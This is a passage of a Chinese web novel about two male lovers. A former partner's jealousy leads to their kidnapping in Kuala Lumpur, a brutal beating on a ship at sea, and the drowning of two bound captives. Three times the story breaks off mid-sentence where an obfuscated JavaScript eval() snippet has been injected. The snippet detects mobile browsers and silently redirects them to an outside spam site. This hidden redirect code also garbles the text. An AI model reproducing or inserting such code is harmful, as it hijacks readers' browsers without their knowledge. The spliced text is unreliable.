傅廷恩和曾闰成早躲到了人少的沙滩边,吹着海风坐在藤椅上,看落日的余晖逐渐铺满整个海面。 两个人仍是穿着情侣款的沙滩裤,但曾闰成的花衬衫里还穿了一件白色背心,是他一贯的矜持作派。傅廷恩却是毫无顾忌的敞着扣子露出结实的胸膛。 两人戴着同款墨镜,曾闰成半躺在遮阳伞下,他把香槟倒在带吸管的饮料杯里,时不时的抿上一口,一脸的惬意。他原本担心会是那种星级酒店里的西装革履、觥筹交错,没想到是这种轻松随意的氛围,这令他倍感愉悦。 傅廷恩那边的遮阳伞收起来了,这个季节的太阳还不算很热烈,他一只手枕在脑后,嘴里咬着根不知道从哪里揪来的野草,敞开胸口晒太阳。另一只手时不时摸一摸一旁曾闰成的小腿,捏一捏,掐一掐。他手下不停歇,曾闰成忍不住拿脚轻踢他一下,“别闹。” 他却一把捉住那脚掌,掰到嘴边,在脚背上轻啄了一下,又对着脚心哈气,曾闰成被他弄得无语,“你快收敛点吧,等下让叔叔阿姨看到……” 傅廷恩一个翻身坐起来,“看到也不会怎么样,闰成,你是不是很喜欢这种格调的订婚party?将来我们也办这种好不好?”阳光下他的皮肤被晒得微红,衬得一口整齐的牙齿越发白亮。 曾闰成被他吓一跳,“我们办?我们两个男的……” “男的怎么了?澳洲这边同性办婚礼一点也不少见,我圣诞假期复活节假期过来,回回都碰到。”傅廷恩开始敲边鼓,“只要你肯嫁给我,我一定为你准备一场别致又浪漫的婚礼……” 曾闰成愣住,他还从来没有想过这个问题。傅廷恩虽然觉得眼下不是求婚的好时机,但是既然提起了这个话题,自然要先铺垫一下,“闰成,你不想跟我一直在一起吗……” 曾闰成扶了扶墨镜,抿一口香槟,制止他往下说:“你先搞定你爸再说。” 傅太和傅明章以及小叔傅明琛提前两天到的澳洲,虽然没有多说什么,但是傅明章的脸色一直不太好看,没有像上次毕业典礼前见面一样,热络的跟曾闰成攀谈,但也没有很失礼,显然是已经知道了这件事情,正处于生闷气阶段。 傅明琛跟傅家两兄弟关系一向要好,又常年在国外,倒没有很惊讶的就接受了,“难怪你不理那些小女朋友了。”又冲傅廷恩挤眉弄眼,“到哪里找的这么漂亮的男朋友?”全然没有长辈的做派。 傅廷恩看着躲在遮阳伞下的曾闰成,他的男朋友确实是漂亮,曾闰成的皮肤是那种天生的冷白,比一般女生都要白,特别不禁晒,太阳稍微烤一烤就会发红,这会子在伞底下发着莹润的光,跟牛奶冰淇淋似的,他克制不住的起身坐到他躺椅上去,想要亲一亲,舔一舔,“你放心好了,我小叔叔都答应了,会帮我做我爸的思想工作……” 一阵由远及近的破浪声打断了傅廷恩的游说,一艘游艇停在了离他们不远的海滩边,水手跳下来架起浮桥,一行人正在靠岸。 当先走下来的那道身影让原本只是转目一瞥的傅廷恩落下了笑容,曾闰成显然也看到了,他取下墨镜,喃喃道:“他怎么会来这里……” 傅廷恩辨认着那一行人,看到跟在李景麟身后的女士,挽着黑发,圆圆脸盘,眉眼弯弯的,盛载着笑意,突然想起来,“大嫂她们家好像跟王家是姻亲,她应该是来参加订婚典礼的。闰成,你别担心……”他安抚的轻拍曾闰成的手臂。 果然,那一行人从他们身侧不远处走过,并没有停留。倒是队尾的一个陌生男子,稍稍驻足,朝他们的方向看了两眼。 曾闰成看着那个高大身影,他与一旁的女子看上去挺般配,都穿着真丝的套装,戴着礼帽和墨镜,一副东南亚富商装扮,后面跟着一堆仆从,手里捧着礼盒,看样子真的是来参加订婚典礼的。 曾闰成稍稍松了口气,自从离开金城,他刻意的回避跟李景麟有关的一切,傅廷恩更不会提及有可能让他产生一丝不快的话题。他已经很久没有再想起这个人了,随着这道身影的出现,脑海里某些尘封的记忆开始翻搅。 凭心而论,他始终觉得李景麟是有恩于他的,在那个惶恐无措的当口,他提出的交易的确解了他的燃眉之急,也确实让曾闰霞的生命得以延续,就连克利夫兰的几个医生都表示这个病症这种分型的患者能存活这个时限,已属目前医学手段能达到的极限。 可是恩情不是爱情,作为一个成年人,他能分辨清楚。或许,如果没有李景麟,他不会很自然的接受男同的身份,也不会明白傅廷恩于他到底有多么珍贵。在强制与尊重,占有与珍惜之间,谁都会选择后者。 他也不认为李景麟对他有什么特别的感情,交易达成后,李景麟从未对他有任何情感方面的表达,只有欲望的宣泄,从来都是他要他给,不想给也得给。 除了小木屋那次,他逼曾闰成说爱他,可那是在床上,无非就是想增加点情趣。 但曾闰成对他的偏执与掌控欲是有了解的,所以他求恳脱身后,尽可能的避免再与李景麟见面,也避免再提起与这个人相关的话题,他想随着时间的推移彻底的淡忘与这个人有关的一切。 完全没有想到会在这样的场合仓促遇见,他不安的起身,傅廷恩也跟着站起,他牵过曾闰成的手,只觉得他指尖冰凉,他十指交叉的将他握在手心里,企图带给他一丝暖意,曾闰成感受到他的安慰,握他的手紧了紧,“廷恩,我们去那边走走。” 两个人拖着手顺着海滩一直往前走,柔软的细沙镌刻着两人的脚印。曾闰成没有开口,只是微低着头,傅廷恩绞尽脑汁,想要说一些安慰的话语,又觉得徒劳,毕竟是四年有余,不是四个月,李景麟在曾闰成的生命里的确留下了难以磨灭的印记。 傅廷恩想起那晚的惊鸿一瞥,还有那些青青紫紫的痕迹,心里跟猫抓一样,恨不得跟那个人来一场单挑就好。 一场远亲的订婚典礼而已,哪里用得着他亲自到场?难道是存心来给他们添堵?他脑海里念头百转千回,一张脸也是阴晴不定。 曾闰成倒是逐渐冷静下来了,李景麟既然让他走了,自然是代表这事翻篇了,人死债消,小霞都已经不在了,他也开始了新的生活,如果一味沉溺过去,又怎么能够迎接将来? 反倒是傅廷恩,曾闰成深感这一路其实让他受了不少委屈。虽然从肉|体层面,他知道他不会太介意,就像他也不会介意他之前有过男朋友甚至女朋友。 但是从情感上,他是亲口承认过自己喜欢李景麟的,即使当时的想法是想让傅廷恩彻底死心远离这种夹缠不清的关系。 在傅廷恩心里恐怕认为自己对李景麟始终有一丝情愫,他觑着傅廷恩的面色,两人相恋日深,瞥一眼对方的脸色就知道他心中所想。 “廷恩,”曾闰成停下脚步,面朝着大海的方向,海风吹动他的额发,“也许在人生的某些时刻,不管对姚子琪还是李景麟,我是有过片刻的悸动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13736885|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是廷恩,”他转头,一双黑白分明的眼睛凝视着傅廷恩,目光缱绻,“我只爱过你。” 傅廷恩大受震动,虽然两个人心意相通,但除了医院那一次,曾闰成极少言爱,他是这种内敛的性格。哪怕两人在床上情浓如火,傅廷恩一遍一遍的在他耳边诉说着爱意,他也很少用言语来回应。 这是他第一次看着他明确的说爱他,他突然间有种想要流泪的冲动,极力抑制住鼻头的酸涩,扯开一抹微笑,“不能说爱过,要说,”他拉着他的手放在胸口,让他感受他心脏的跳动,“I love you with all my heart.” 曾闰成愣住,片刻之后也拉他的手放在自己胸口,重复了一遍:“I love you with all my heart.”(我全心全意的爱着你) 两个人相视而笑,牵着手一路狂奔,跑到海岛背面僻静的所在,一树蓝楹花盛开的很热烈,恍若一个蓝紫色的梦境,厚实的尤加利叶编织成密实的树墙。 傅廷恩将曾闰成压在树下的石凳上,热烈的吻他。他脱下身上的衬衫垫在他脑后,赤裸着上身将他完全的覆盖。他的唇舌急切又温柔的在他的口腔里索求,曾闰成闭上眼睛,温顺的任他采撷,不断的给予回应,安抚着他的焦躁。 两人在和煦的山风中接吻,用双唇传递着对彼此的爱意,丝毫没有留意到细密的树墙后嵌上了一双窥视的眼睛,因为他们亲密的举止,而逐渐漫上了狰狞的血色。 他们在仪式开始前回到了海滩,傅太先看见了他们,赶上来一手拖一个,“廷恩,闰成,你们去哪里了?也不帮哥嫂迎一下客人。” 傅太就像傅廷恩预料的那样,对他俩的关系接受得比较快,尤其在傅廷昀纠正某项认知之后,她对曾闰成越发的亲热起来。她牵着他们过去花墙边,“快来,跟几个叔伯打声招呼。” 他俩没想到过了一个多小时,李景麟竟然还没走,他戴着墨镜,手里端着杯香槟,仍然是人群中出类拔萃的存在,傅明章、傅明琛以及薛家几个亲眷都围绕一旁。 傅廷恩与曾闰成对视一眼,看到了他眼眸深处的那一丝担忧,他轻怕他手背,示意他在原地等候,当着众人的面,他是晚辈,只能向李景麟敬酒,“李叔叔好久不见。”他微弯了一下腰,但神色间是一片清明,他已经被曾闰成安抚住,反正闰成爱他也属于他,过去的事就让它过去吧。 李景麟与傅廷恩碰杯,又向身侧的傅明章道,“雏凤清于老凤声,傅家两位公子都这么出色,真是后继有人。”握杯的手伸出一根手指,向曾闰成的方向指了指,“这位是?” 傅明章略带难堪的垂下眼眸,傅太却言笑晏晏的牵起曾闰成的手,“这是我们家廷恩的男朋友,闰成,这是李总。” 曾闰成抿了抿唇,只能倾杯过去,“久仰。” 李景麟隐在墨镜后的眼眸看不清楚神色,声音倒是一如既往的冷淡低沉,“幸会。” 傅廷恩走过来挽住曾闰成肩膀,“您几位慢聊,我们去吃点东西。”两人相携着离开,都微微松了口气,傅廷恩倒不是怕别的,他既然把曾闰成介绍给了家人,当然希望能和睦相处。如果李景麟抖露曾经的关系,他怕曾闰成会觉得尴尬,估计就不会再愿意跟他的家人来往。 能这样风平浪静的揭过当然是最好的,两人走到白色餐椅前坐下,傅廷恩去日料台拿了一盘虾蟹,洗净了手,剥给曾闰成吃。 一道身影晃悠到了他们跟前,是个陌生男子,二十出头的年纪,皮肤白皙,长相英俊,他摘下墨镜,盯着曾闰成看。 傅廷恩不悦的皱眉,他已经笑眯眯的开口:“宋老师说我跟你长得很像,我觉得一点也不像,”他的目光在曾闰成面庞上流转了几圈,“不过你比画像上还是要好看一点。” 他没有介绍自己,但言语间已经表露了身份,正是李景麟带来的那一行人里,看向他们的那一位。他长得温润秀气,眉眼灵动间还透着点不谙世事的单纯,确实是李景麟的品味。 “李叔叔说你已经是过去式了,画像都收进库房啦,”他重新戴上墨镜,又瞥一眼傅廷恩,“你都有这么帅气的男朋友了,可不要回头跟我抢李叔叔哦,我是不会让给你的。”他也不等两人说话,得意的“哈”笑一声,晃悠着走开了。 傅廷恩和曾闰成对视一眼,都觉得这人要么是单纯要么就是脑子有毛病要么两者兼具,但也不约而同放下了心。 63.第 63 章 订婚典礼过后不久,便是华国的春节,老爷子还在世,傅太和傅明章、傅明琛都要返回金城老宅过年。傅廷昀和薛婵娟的婚礼定在来年三月,请柬都已经发出去了,春节就不打算回了。 傅廷恩自然趁机要求在澳洲多盘桓一段时间,傅明章开始不同意,傅廷恩便说,“其实我跟闰成回一趟金城也可以,到大伯二伯四叔五叔家拜个年,应该可以收不少红包吧?”傅家的习俗,如果后辈第一次带女朋友或者男朋友上门,长辈是要给红包的。 “那,”傅明章哽住,“你们还是在你哥家过年吧。”他是深受传统思想熏陶的人自然没有那么容易接受,但临行前,还是缓和了面色,将两人叫到房间里,语重心长的叮嘱,“不管同性异性,既然选择在一起,就好好相处,可不兴乱七八糟的那一套,尤其是你,”他指着傅廷恩,“让我知道你朝三暮四可饶不了你。”这是变相的认可了曾闰成。 傅太就更不用说,摩挲着曾闰成的手,“好孩子,如果他对你不好,打电话给我,我帮你骂他。”她之前就主动存了曾闰成的号码。 这让本来就渴慕亲情,又失去了所有亲人的曾闰成内心颇受感动,看着傅太慈爱的眼睛很郑重的承诺,“您放心,我一定会对廷恩好的。”他说完这一句,自己先脸红的低下头。 傅太轻拍着他的手,“好孩子,阿姨谢谢你。你们都好好的啊,等明年一起回金城过年。”其实傅廷恩能有这样开朗善良的性格,自然是得益于这样开明友爱的家庭环境。 春节过完,傅廷恩缠着曾闰成要去度个假,他的理由很充分,“每次在一起不是你有事,就是我有事,我们就不能把那些都抛开,就我们两个,过一个真正属于我们的假期吗?” 曾闰成计算了一下时间,还有十来天的空闲,“那就以一个星期为限好吗?一个星期之后就真要回欧洲了。” “好,都听你的。”某人目的达成,又开始卖乖。 悉尼多海滩,傅廷昀在一个极隐蔽的海滩边有一套私人别墅,请人打扫得干干净净,又在冰箱里备足了食材,热恋中的情侣搬了进去。 傅廷恩兴奋得头一个晚上就闹腾得很晚,曾闰成都不记得自己到底是晕过去的还是睡过去的,反正在一个又一个愉悦的高点之后,完全没有了意识。 第二天他在阳光的熏陶与海鸟的鸣叫声中醒来,傅廷恩听到动静,端着餐盘走进来,“醒啦?快起来吃点东西!” 曾闰成“嚯”一声,转头看向窗外,“你这一大早的是在干嘛?”傅廷恩赤条条的端着个餐盘从厨餐厅走过来,一步一晃荡。 “这周围又没人。”傅廷恩厚颜无耻的,“这个星期我都没打算穿。闰成你也别穿了,这样多自在,”他跳到床上来掀他被子,“难得气温环境都这样方便……” 穿衬衫里头都要再加个背心的老学究怎么可能答应这种匪夷所思的要求,不光自己严严实实穿妥帖了,还硬追着傅廷恩套衣服,傅廷恩躲到厨餐厅,随手拿了一条围裙系上了,“这总行了吧?” 187的高个子,披散着黑卷发,系着条细格子围裙,露出两条毛茸茸的大长腿,曾闰成被他滑稽的样子逗得哈哈大笑起来。 他很少有大笑的时候,但其实他笑起来特别——可爱,虽然这个词汇一般用来形容女生,但此刻放在曾闰成身上实在是贴切,他眼睛弯弯的像两枚月牙,嘴角边有一颗隐现的酒涡。 傅廷恩“嗷呜”一声扑过去,抱着他一顿狂啃狂亲。衣服是穿上了,但一天到晚脱衣服的次数是真不少。 因为是在约定的假期,曾闰成比平时要纵着他,傅廷恩又十分擅长哄劝缠磨,唱片机里播放着《失控》,轻柔缠绵的男声在浅吟低唱: 月亮倒映在你脸上, 等你依偎在我身旁, 让所有的顾虑松绑…… 天亮前就让汗水留在身上…… 让所有人快乐是神的愿望…… 让呼吸盘绕在腰际, 把钥匙放到锁孔里…… 上楼后就失控…… 电梯里/楼道里/玻璃窗前/地板上(失控)…… 他们在音乐声中尽情的释放欲望,在缠绵中睡去,在拥抱和亲吻中醒来。 曾闰成终于如愿以偿让傅廷恩兑现了承诺,虽然过程稍稍有点惨烈,因为某人实在太紧张,尽管曾闰成自认为足够温柔,但…… 泪腺发达又很有演戏天分的某人还掉了几颗金豆豆,一脸的隐忍付出,“没关系没关系,你舒服就好。真的,不用管我……” 曾闰成能舒服才怪了,没有感受到特别的乐趣,他就不再执着于上面这事了,傅廷恩看着他鹿一般的眼睛,亲吻他花瓣一样的唇,耳朵里听到他喉间逸出那种低沉靡靡的欢音……那一刻,简直觉得就此死去,人生也没有任何遗憾。 海浪轻拍着礁石,潮涨潮汐,两人都忘却了时间的观念,经常一齐晒着太阳昏昏沉沉的打瞌睡,晚上看电影直到困倦。 傅廷恩本来计划要教曾闰成冲浪,结果完全不想动,两人以各种姿势搂抱在一起,亲吻、爱抚或者什么也不做,懒洋洋的滚成一团就觉得很快乐、很舒服。 直到一个星期后,曾闰成宣布:“假期结束了,我们该回去了,要好好找工作知道吗?” 两人计划从悉尼直飞法兰克福,但是临行前,傅廷恩整理邮箱,却发现有十数封来自坎帕拉妮娜的邮件,前面几封都只有一个主题:Help me!内容串在一起大概是说她哥哥巴特最近欠了一笔赌债,直接将她卖到了马来西亚的半山芭。 邮件的地址IP原本显示在坎帕拉,后面就到了吉隆坡,看样子是一开始就有向曾闰成求助,但是没有得到回应,之后的邮件基本就只有只言片语,一两句哭诉,就好像少女只是感叹一下自身命运的悲惨,已经息了求助的心思。 这反倒让傅廷恩的心里不太好受,他把这些邮件给曾闰成看了,曾闰成也有些烦恼自责,“我确实太久没有看邮箱了。” “怎么能怪你,你的邮箱一向是我在打理,最近我们又在度假。”两人都摒弃了非必要社交。 商量一下之后,他们打算绕道马来西亚,先去看看状况,如果只是钱的问题,如果妮娜自己愿意,还是要尽量将她从火坑里救出来。并非圣母心作祟,是认识的人,又是能力所及,自然不能视而不见。 临行前,傅廷恩还跟他哥说了一下这事,傅廷昀叮嘱他们小心点,“吉隆坡龙蛇混杂,如果钱搞不定不要硬来。”他又写了一个号码给他们,“有急事跟这个电话联系。”是傅廷昀的大学校友,马来西亚人,在当地有一定资源和关系。 两个大男人一起,傅廷昀也不是特别担心。结果,一到马来西亚,两个人就失去了踪迹。 ————————————————————————— 曾闰成和傅廷恩抵达吉隆坡的时候是下午时分,宽阔的街道和行走的人群让这座城市看起来与一般都市无异,他们肩挨着肩,漫步在街头。 傅廷恩低头在手机上查看着路线,一辆毫不起眼的中巴车停在了他们身畔,车上下来的几个彪形大汉让曾闰成意识到了一点不妙,他攥着傅廷恩的胳膊往后退,背后却伸过来一只大手,一块毛巾捂住了他的口鼻,顷刻间就是天旋地转,最后的画面是傅廷恩的怒吼和隐约的打斗声。 曾闰成恢复意识的时候眼前乌黑一片,他转动着脖颈,发出一声轻哼,头套被豁然一下扯开来,刺眼的白光让他本能的眯起眼睛,一股巨大的力道夹着风声迎面甩到他脸上,他开始并没有意识到痛,耳朵里嗡鸣声不断,反射性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737170|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的想要抬手,才察觉四肢被牢牢捆缚住。 “我说了要把这巴掌还你,”一个得意的声音响起,“怎么样?滋味不错吧?”声音很耳熟,曾闰成晃了晃脑袋,转动着眼睛看过去,终于辨认出宋奕那张精致俊俏的脸庞,他诧异的开口:“……宋奕?你怎么在这里……我什么时候打过你?” 半边脸开始蔓延起火辣辣的疼痛感,他顾不得计较,转目寻找,“廷恩,廷恩在哪里?”环顾四周,是一个船舱的样子,海浪颠簸,船舱跟着晃动,让人一阵眩晕。 宋奕的脸上洋溢着兴奋,他没有回答曾闰成的问题,却一把扯过他的衣领,“你醒的真是时候,来来来,看好戏。” 他将他拖曳到一个巨大的屏幕跟前,曾闰成顾不上再问,眼睛已经被屏幕上的两个身影吸引,李景麟高大的身形,是皮鞋西裤衬衫的正装装扮,肩背和腰腹却缚了一层缚带,他随意活动着手脚,背对着镜头看不清楚脸上的神情。 而他的对面是傅廷恩,他仍是他们刚到吉隆坡时的装束,却一身狼狈,外套不见了,T恤牛仔裤上都有清晰的鞋印,似乎也刚解开束缚,揉搓着手腕,微长的黑发挡住了他的双眸。 屏幕画面高清,却没有声音,两道身影很快交错在一起,你来我往,是格斗搏击的招式,但显然不是友好切磋,傅廷恩一脚横扫在李景麟肩上,李景麟被冲撞得后退了几步,但很快滑步前行,一记勾拳砸在傅廷恩脸上,傅廷恩偏头闪躲,拳风擦过耳际,将他带得跌坐在地上。 曾闰成呆愣的看着,完全无法反应。宋奕阴沉的声音在他耳朵边响起,“你一定很得意吧?能让两个男人为你争风吃醋、大打出手。” 曾闰成猝然的转头,“你说什么?”喉咙里一阵干痒,他忍不住低头咳嗽起来,半晌,才抬起头,“你说什么?大打出手……” 他咳得脸上红云密布,眸中含泪,宋奕看得刺眼无比,“不然呢?你以为他们在玩过家家?”他讥讽的一笑,转头看向屏幕,“傅公子战斗力不弱嘛,但跟景麟比,他还嫩了点。” 傅廷恩的确不是李景麟的对手,别说被掳上中巴车之前,他肯定有反抗有受伤。突然落到这个境地,心理上也是有些懵的。从视频画面看,他已经渐渐处于下风,他练的自由搏击,而李景麟是泰拳高手,拳拳到肉,凶狠无比,何况他下手毫无留情的意思,一个肘击加顶膝,傅廷恩弓腰后退,嘴角隐现血迹。 “廷恩,廷恩……”虽然还处于一个摸不清楚状况的状态,但曾闰成本能的为傅廷恩担心,他眼睛紧盯着屏幕,被绑缚在身后的双手不断拉扯,却是无法挣开。 “宋奕,你放开我!你们这是干什么……” “我其实很好奇哎,”宋奕无视他的挣扎,突然俯身掐住他下巴,露出一抹阴森的笑意,“傅公子是不是在床上特别厉害?比景麟更能满足你?” 曾闰成惊骇于他话语里的恶意,“宋奕,我们实在无冤无仇吧?为什么……” “为什么?这就得问你自己了,一边歪缠着景麟,又一边勾搭着自己的学生,曾老师好手段呀,”宋奕拍了拍他的脸颊,“怎么?你以为自己做得天衣无缝?别人都是傻子让你玩弄于股掌?” 曾闰成怔住,“我是和李景麟有交易,但和感情无关。我爱谁,和谁交往是我的自由!” 宋奕展露一抹意味不明的笑,“你是意思是,你从来没有爱过景麟?” “没有。” “你爱傅廷恩?” “是!” 曾闰成答得毫无犹豫,宋奕哼笑一声,定定的看了他半晌,蹲下身解了他双脚上的捆缚,“这话你亲自去跟景麟说吧,要说得清楚一些才好。” 他看着曾闰成跌了一跤后仍仓惶奔出去的背影,悠悠叹了口气,“这样才能死得快一点……” 64.第 64 章 曾闰成早从屏幕里看到了李景麟和傅廷恩交手的地点是在甲板的位置,而他和宋奕待的地方是在船舱。他无头苍蝇一样四处乱窜,终于循着微光,挣扎着爬上舷梯,大概是有巨浪来袭,游轮一阵颠簸,他双手借不到力,头“嘭”一声撞在护栏上,顿时眼冒金星。暗处闪出一个身影扶住了他。 “苏秘书!”曾闰成低喊道。 苏秘书没有答话,却抬手把他耳朵上的那枚耳扣取了下来,又绕到他身后解开了捆缚他双手的绳索。 眼下这个境况,曾闰成也顾不得多问,急匆匆向着打斗声传来的方向跑去。“闰成,不要跟他犟!”苏秘书追上两步,在他身后急声道。 等曾闰成跑上甲板,这场决斗已近尾声,李景麟一记高鞭腿,向着被他连环肘击打得瘫坐在地的傅廷恩狠狠砸下。 曾闰成肝胆俱裂,“廷恩!”双脚像突然之间就灌注了力气一般,他飞奔了过去,扑在傅廷恩身上。 傅廷恩却是一个翻滚,本能的将他护在身下,千钧重的一脚狠狠砸在他脊背上,瞬间传来“啪啦”一声骨头断裂的声音,傅廷恩喷出一口血沫,昏死过去。 “廷恩!廷恩!”曾闰成颤抖着双手,将傅廷恩搂在怀里,“廷恩……”他的面庞鼻尖都沾上了血迹,泪水混合着血水,肿胀的半张脸让他看起来无比狼狈。 他抬起头,向着李景麟的方向嘶吼,“你在干什么李景麟!医生,他需要马上看医生……”他彷徨又无措,焦急的转头四顾,却是乌漆漆黑茫茫的一片,只有甲板上白炽的光线织成密密的一圈在海浪中晃悠,浪花不断拍打着船舷,提示着这是一艘行驶当中的游轮。 “唔,这小子还有两下子,我很久没打这么痛快过了。”李景麟吐出一口血沫,解下臂、腰缚带扔在一旁,他的白衬衫上有几处血迹,挽起袖子的手肘、手掌上也是血肉模糊的一片。 几个肌肉壮硕的男人抬了三人座的沙发过来,他双手在西装裤上擦了擦,施施然坐下,点燃一根烟。宋奕拎了医药箱过来,小心的帮他处理着伤口,苏秘书站在沙发背后。 “为什么李景麟?”曾闰成搞不懂,明明十天前还言笑晏晏举杯相碰,为什么又突然间下此狠手。 “为什么?”李景麟吐出一串烟圈,隔着烟雾睥睨着他,“你心知肚明。” 曾闰成情绪激动的摇头,“我不明白,是你亲口答应让我走的。” 他搂着傅廷恩,又生怕触碰到伤处,只能小声的在耳旁呼喊着他的名字,“廷恩,廷恩……” 傅廷恩勉力睁开了眼睛,一只手轻怕着曾闰成,“没事,闰成……”嘴角却又沁出了鲜血。 “哼!老子是让你出去散散心,不是让你去勾三搭四的!”李景麟将烟蒂扔地上,疲惫的在沙发上躺下,狭长凤目投向暗沉的天幕,神情悠闲的彷佛是在度假。 男人打一场架跟干一场情事爽|度基本相等,他满足的叹了口气,“只能怪你太着急,其实说不准我过两年就厌倦了。但在这之前……” 他冷哼一声,拍了拍手掌,肌肉壮硕打手模样的男人们低着头拎着两个麻袋丢到了甲板上,解开了系口的绳子,又悄无声息的退到了一边。两个黑乎乎的脑袋从麻袋中挣扎着钻了出来,是妮娜和她的哥哥巴特。 两人口中都塞着毛巾,手脚被牢牢的捆缚着,只有两张脸上布满了惊恐的神情,妮娜显然认出了曾闰成,朝着他的方向“呜呜”的叫着,神情激动,黑色大眼睛中满是乞求之色。 李景麟摆摆手,肌肉男重新把他们塞回麻袋,拎到了船舷边。 “你……你要干什么?”曾闰成不敢置信。 “干什么?”李景麟嗤笑一声,“你难道忘了,是你这个好学生把你骗来的?还有她这个好哥哥。终归是我的首秘能干,不管是五年前还是现在,总能精准的找到你在意的点。” 曾闰成的目光看向沙发后站立的苏秘书,苏秘书与他对视一眼,垂下了眼眸。 李景麟扯了扯唇角,露出一抹讥诮的笑意,“这兄妹俩还在非洲送了你一场疟疾,我会让他们明白,动了我的人是什么下场。” 他扬扬手,打手们将两个挣扎的麻袋拎过船舷,抬到了甲板的边缘,斜刺里传来一道戏谑的声音,“放着吧,让我来。” 宋奕走过去,盯着曾闰成展露一抹笑容,尖头皮鞋轻轻一踢,麻袋滚出甲板,三秒之后传来“噗通”一声跌入水面的声音,他如法炮制,将另一只麻袋也踢入了茫茫大海中。 他拂了拂裤脚上并不存在的灰尘,一脸得色的走回李景麟身畔。他既是向李景麟表忠,也是向曾闰成示威。 曾闰成看着他的动作,被震惊到无法言语,两条人命就这样悄无声息的消失在大海中。他收紧了抱着傅廷恩的双手,开始意识到,李景麟这样大费周章将他们骗来,只怕不是打一顿泄愤这么简单。 静默里,怀中的傅廷恩剧烈的喘息起来,曾闰成忙低头查看他的伤势,他一只胳膊以一个奇怪的角度疲软的垂在身侧,显然是断了。脸色惨白,嘴角一直在冒血泡,只怕伤到了脏腑。 曾闰成的眼泪雨一样滴落在他面庞上,“廷恩……”他抬起头看着李景麟,哀求道,“景麟,你送他去医院吧。”刚刚李景麟那一脚绝对断了他几根骨头,“如果断骨插到肺里,是会要人命的,我求求你了……” 他记得苏秘书的嘱咐,也了解李景麟吃软不吃硬的脾性,这个关口,顾不得尊严,论不了对错,只能软语相求。 “医院?曾老师,这里是公海。”宋奕打断他求饶的话语,夸张的大笑起来,“哪来的医院?或者你想体验一下公海医疗船?” 竟然到了公海……曾闰成求乞的声音戛然而止,他愣愣的看着宋奕,面孔变得雪白。 李景麟斜靠在沙发上,伸出手指勾了勾,“过来,闰成。求我的话到我耳朵边上说。”他已经很久没有抱过他,此刻看着泪眼模糊一脸惶恐的人,将他拥入怀中的渴望油然而生。 傅廷恩攥紧了曾闰成的手掌,“不要过去闰成……”他在曾闰成怀中激烈的喘息着,试图回搂住他,“我没事……”李景麟那一脚在曾闰成扑出来的时候卸了点力道,而且他翻滚及时才没有砸在脊柱上,但肋骨估计是断了几根的,随着他的动作,剧烈的疼痛在全身蔓延,他额上沁出了细密的冷汗。 “闰成,不要相信他说的任何话……”他极力伸展着手臂,回抱住曾闰成,低声在他耳边道,“他在戏耍我们。” 从李景麟出现在傅廷昀的订婚典礼,他就开始了这场猫抓老鼠的游戏,故意在众人面前表现出冷淡,甚至那个莫名出现的新宠,都是在一步步的瓦解他们的戒备与防范。 “闰成,”傅廷恩的嘴唇紧贴着他的耳朵,“我手机被抢前发了信息……会有人找到我们的……”他气息低微,胸膛却在急剧的起伏。 曾闰成从来没有像此刻一样痛恨自己,他的廷恩一次次的守护他、拯救他,而他呢?带给他的只有伤害与灾难。“对不起,廷恩,对不起……” 这都是他引来的麻烦,他明知李景麟的偏执与疯狂,却仍掉以轻心的出现在他面前。 两个人紧密相拥窃窃私语的样子刺激着李景麟那颗早已狂悖躁乱的心,他修长的手指点了点,旁边候着的打手们一拥而上,有两个揪开了曾闰成,剩下的对着傅廷恩就是一顿拳打脚踢,傅廷恩已经没有还手的力气,只能抱住头咳出一地血沫。 曾闰成不断挣扎却完全无法脱开钳制,他骇然的抬起头,“景麟,我们……”他愣了一下,改了口,“廷恩他没有得罪你,你看在傅家的份上,不要把事情做得太绝。” “没有得罪我?”李景麟呵呵冷笑,坐起身来,一手支颐,“曾闰成,我问你,你跟他什么时候开始的?” “你先让他们停下!停下!你问什么我都会说实话!”他激烈的挣扎着,焦急的大喊。 李景麟摆摆手,打手们退到一边。曾闰成踉跄着飞奔到傅廷恩身边,想将他搂在怀里,看着那斑斑伤痕,双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740950|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手一阵痉挛,顷刻间绵软无力。 “廷恩,廷恩……”他喃喃的低声,目光在傅廷恩渗血的眉骨和嘴角梭巡,心疼、愧悔、愤怒,各种复杂的情绪在心头翻搅。 “说!什么时候开始的?”李景麟声音凉凉的响起。 “我去非洲支教的时候。”曾闰成低头,冷声道。按实际的来往计算,确实是支教的时候正式开展了情侣关系。 